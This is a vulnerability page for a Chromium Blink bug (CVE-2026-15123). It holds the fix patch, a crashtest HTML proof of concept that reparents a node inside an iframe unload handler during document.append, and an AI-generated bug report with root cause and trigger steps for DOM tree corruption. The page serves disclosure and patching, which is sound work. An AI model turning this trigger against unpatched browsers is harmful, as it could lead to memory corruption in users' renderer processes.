CVE-2026-15123
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifthird_party/blink/web_tests/external/wpt/dom/nodes/crashtests/multiple-append-mutated-in-unload-document.https.html |
modified |
Files Changed
third_party/blink/renderer/core/dom/container_node.ccthird_party/blink/renderer/platform/runtime_enabled_features.json5third_party/blink/web_tests/external/wpt/dom/nodes/crashtests/multiple-append-mutated-in-unload-document.https.htmlthird_party/blink/web_tests/external/wpt/dom/nodes/crashtests/multiple-append-mutated-in-unload-document.https.html.headers
Patch
From cb26b6a1eb7999001e771a07944d4cb0e377341c Mon Sep 17 00:00:00 2001
From: David Baron <dbaron@chromium.org>
Date: Mon, 22 Jun 2026 11:07:35 -0700
Subject: [PATCH] Recheck prerequisites when inserting multiple nodes into a Document.
This moves the check of prerequisites earlier so that it also applies
when the parent node is a Document. This is needed so that we check
that the nodes' parents are still all null.
The added test is a simplified version of the AI-generated test provided
in the bug. Without the fix it fails a DCHECK in DCHECK-enabled builds,
at third_party/blink/renderer/core/dom/container_node.cc:400:
DCHECK failed: !target_node->parentNode().
Fixed: 523729553
Change-Id: I409e096d54150f97083a281e0b3dee5a203015ac
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7963938
Commit-Queue: David Baron <dbaron@chromium.org>
Reviewed-by: Mason Freed <masonf@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1650442}
---
diff --git a/third_party/blink/renderer/core/dom/container_node.cc b/third_party/blink/renderer/core/dom/container_node.cc
index b463af6..d33adc43 100644
--- a/third_party/blink/renderer/core/dom/container_node.cc
+++ b/third_party/blink/renderer/core/dom/container_node.cc
@@ -274,6 +274,20 @@
}
}
+ // Node::ConvertNodeUnionsIntoNodes behaves differently depending on
+ // whether there is one node or more than one, since it simulates
+ // insertion into a DocumentFragment for the latter case. If it handled
+ // more than one node, then it already removed the children from their old
+ // parent. Check here that those removals didn't do anything bad. (We
+ // could potentially make this faster by using a DOMMutationDetector in
+ // ConvertNodeUnionsIntoNodes and storing whether we need to do this.)
+ if (new_children && new_children->size() != 1u &&
+ RuntimeEnabledFeatures::RecheckParentDuringNodeVectorInsertionEnabled() &&
+ !RecheckNodeInsertionStructuralPrereq(*new_children, next,
+ exception_state)) {
+ return false;
+ }
+
if (auto* document = DynamicTo<Document>(this)) {
// Step 2 is unnecessary. No one can have a Document child.
// Step 3:
@@ -324,21 +338,6 @@
return false;
}
}
-
- // Node::ConvertNodeUnionsIntoNodes behaves differently depending on
- // whether there is one node or more than one, since it simulates
- // insertion into a DocumentFragment for the latter case. If it handled
- // more than one node, then it already removed the children from their old
- // parent. Check here that those removals didn't do anything bad. (We
- // could potentially make this faster by using a DOMMutationDetector in
- // ConvertNodeUnionsIntoNodes and storing whether we need to do this.)
- if (new_children->size() != 1u &&
- RuntimeEnabledFeatures::
- RecheckParentDuringNodeVectorInsertionEnabled() &&
- !RecheckNodeInsertionStructuralPrereq(*new_children, next,
- exception_state)) {
- return false;
- }
} else if (auto* child_fragment = DynamicTo<DocumentFragment>(new_child)) {
for (Node* node = child_fragment->firstChild(); node;
node = node->nextSibling()) {
diff --git a/third_party/blink/renderer/platform/runtime_enabled_features.json5 b/third_party/blink/renderer/platform/runtime_enabled_features.json5
index b463f88..11503dc2 100644
--- a/third_party/blink/renderer/platform/runtime_enabled_features.json5
+++ b/third_party/blink/renderer/platform/runtime_enabled_features.json5
@@ -4885,7 +4885,7 @@
status: "stable",
},
{
- // Shipping in M148, so should be removed around M150.
+ // Shipping in M148, revised in M151, so should be removed around M153.
name: "RecheckParentDuringNodeVectorInsertion",
status: "stable",
},
diff --git a/third_party/blink/web_tests/external/wpt/dom/nodes/crashtests/multiple-append-mutated-in-unload-document.https.html b/third_party/blink/web_tests/external/wpt/dom/nodes/crashtests/multiple-append-mutated-in-unload-document.https.html
new file mode 100644
index 0000000..a961114
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/dom/nodes/crashtests/multiple-append-mutated-in-unload-document.https.html
@@ -0,0 +1,41 @@
+<!DOCTYPE html>
+<html>
+<head><title>Document.append reentrancy tree corruption</title></head>
+<body>
+<script>
+
+// Create a container whose removal fires a synchronous JS callback.
+function makeTrigger(callback) {
+ const container = document.createElement('div');
+ const iframe = document.createElement('iframe');
+ container.appendChild(iframe);
+ document.body.appendChild(container);
+ let fired = false;
+ function listener() {
+ if (fired) {
+ return;
+ }
+ fired = true;
+ callback();
+ }
+ iframe.contentWindow.addEventListener('unload', listener);
+ iframe.contentWindow.addEventListener('pagehide', listener);
+ return container;
+}
+
+function bug() {
+ const doc = document.implementation.createDocument(null, null, null);
+ const div = document.createElement('div');
+ const node1 = document.createComment('victim');
+ const trig = makeTrigger(() => {
+ div.appendChild(node1);
+ });
+ try { doc.append(node1, trig); } catch (e) { }
+}
+
+window.onload = () => {
+ bug();
+};
+</script>
+</body>
+</html>
diff --git a/third_party/blink/web_tests/external/wpt/dom/nodes/crashtests/multiple-append-mutated-in-unload-document.https.html.headers b/third_party/blink/web_tests/external/wpt/dom/nodes/crashtests/multiple-append-mutated-in-unload-document.https.html.headers
new file mode 100644
index 0000000..f1e8ace
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/dom/nodes/crashtests/multiple-append-mutated-in-unload-document.https.html.headers
@@ -0,0 +1 @@
+Permissions-Policy: unload=*
Regression Test / PoC
diff --git a/third_party/blink/web_tests/external/wpt/dom/nodes/crashtests/multiple-append-mutated-in-unload-document.https.html b/third_party/blink/web_tests/external/wpt/dom/nodes/crashtests/multiple-append-mutated-in-unload-document.https.html
new file mode 100644
index 0000000..a961114
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/dom/nodes/crashtests/multiple-append-mutated-in-unload-document.https.html
@@ -0,0 +1,41 @@
+<!DOCTYPE html>
+<html>
+<head><title>Document.append reentrancy tree corruption</title></head>
+<body>
+<script>
+
+// Create a container whose removal fires a synchronous JS callback.
+function makeTrigger(callback) {
+ const container = document.createElement('div');
+ const iframe = document.createElement('iframe');
+ container.appendChild(iframe);
+ document.body.appendChild(container);
+ let fired = false;
+ function listener() {
+ if (fired) {
+ return;
+ }
+ fired = true;
+ callback();
+ }
+ iframe.contentWindow.addEventListener('unload', listener);
+ iframe.contentWindow.addEventListener('pagehide', listener);
+ return container;
+}
+
+function bug() {
+ const doc = document.implementation.createDocument(null, null, null);
+ const div = document.createElement('div');
+ const node1 = document.createComment('victim');
+ const trig = makeTrigger(() => {
+ div.appendChild(node1);
+ });
+ try { doc.append(node1, trig); } catch (e) { }
+}
+
+window.onload = () => {
+ bug();
+};
+</script>
+</body>
+</html>
diff --git a/third_party/blink/web_tests/external/wpt/dom/nodes/crashtests/multiple-append-mutated-in-unload-document.https.html.headers b/third_party/blink/web_tests/external/wpt/dom/nodes/crashtests/multiple-append-mutated-in-unload-document.https.html.headers
new file mode 100644
index 0000000..f1e8ace
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/dom/nodes/crashtests/multiple-append-mutated-in-unload-document.https.html.headers
@@ -0,0 +1 @@
+Permissions-Policy: unload=*
Original Bug Report
Potential DOM tree corruption in Document::append via multi-node insertion reentrancy
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: A logic flaw in ContainerNode::EnsurePreInsertionValidity allows JavaScript to bypass structural safety checks during multi-node insertions on Document targets. Malicious reparenting during synchronous events can lead to a node existing in two child lists, creating a memory corruption primitive.
Affected files:
third_party/blink/renderer/core/dom/container_node.cc
Estimated timestamp from git blame: Unknown (Google3 checkout)
Root Cause
When a multi-node DOM insertion API like document.append(node1, node2) is called, the C++ implementation (Node::append) sequentially processes the nodes via ConvertNodeUnionsIntoNodes. This function removes each node from its current location using node->remove(). If removing one of the nodes triggers a synchronous event (e.g., removing an iframe dispatches an unload event), JavaScript execution is re-entered.
During this reentrancy, an attacker can safely reparent one of the previously processed nodes into a new intermediate container (e.g., a detached div). Once the event handler completes, the append operation resumes and calls ContainerNode::AppendChildren on the target Document.
To prevent this exact type of reentrancy attack, a structural validation check (RecheckNodeInsertionStructuralPrereq) was previously introduced. However, ContainerNode::EnsurePreInsertionValidity contains an early-return path specifically for Document targets:
if (auto* document = DynamicTo<Document>(this)) {
// Step 2 is unnecessary. No one can have a Document child.
// Step 3:
if (!CheckReferenceChildParent(*this, next, old_child, exception_state))
return false;
// Step 4-6.
return document->CanAcceptChild(new_child, new_children, next, old_child,
exception_state);
}
This early return completely bypasses the RecheckNodeInsertionStructuralPrereq call located further down in the function. As a result, the insertion proceeds blindly.
Inside InsertNodeVector, a DCHECK(!target_node->parentNode()) validates that the node is detached. However, in release builds, this DCHECK is compiled out. The operation then calls AppendChildCommon, which overwrites the node’s parent and sibling pointers to point to the Document. Crucially, it does not unlink the node from the intermediate div. The div’s internal child list still references the node, while the node points to the Document and its siblings.
This DOM tree corruption (where a node effectively belongs to two different parents) can confuse the Blink layout engine or Garbage Collector, reliably providing a primitive for Use-After-Free (UAF) or Out-of-Bounds (OOB) memory corruption in the renderer process.
Potential Trigger Steps
These steps outline how an attacker could potentially trigger this vulnerability (note: this is a theoretical sequence derived from code analysis):
- Create a target Document (
const doc = document.implementation.createDocument(null, null, null);). - Create an intermediate container (
const div = document.createElement('div');). - Create a detached comment node (
const node1 = document.createComment('');). - Create an
iframe(node2), append it to the active DOM, and attach a synchronousunloadhandler to itscontentWindow. - Call the multi-node append API on the target Document:
doc.append(node1, node2). - During the extraction phase, removing
node2triggers theunloadhandler. - Inside the
unloadhandler, reparent the comment node:div.append(node1). - The insertion resumes and bypasses the structural safety check due to the Document-specific early return, corrupting the tree.
Suggested Fix
Ensure that the structural validation check is also applied when inserting into a Document. For instance, in ContainerNode::EnsurePreInsertionValidity, add the re-check logic before the Document early return completes:
if (auto* document = DynamicTo<Document>(this)) {
if (!CheckReferenceChildParent(*this, next, old_child, exception_state))
return false;
if (new_children && new_children->size() != 1u &&
RuntimeEnabledFeatures::RecheckParentDuringNodeVectorInsertionEnabled() &&
!RecheckNodeInsertionStructuralPrereq(*new_children, next, exception_state)) {
return false;
}
return document->CanAcceptChild(new_child, new_children, next, old_child,
exception_state);
}
Evaluated with Chrome root at commit: 65b3256311f3ab6fb9870eaa522de7e6dd2663bb
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there’s no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.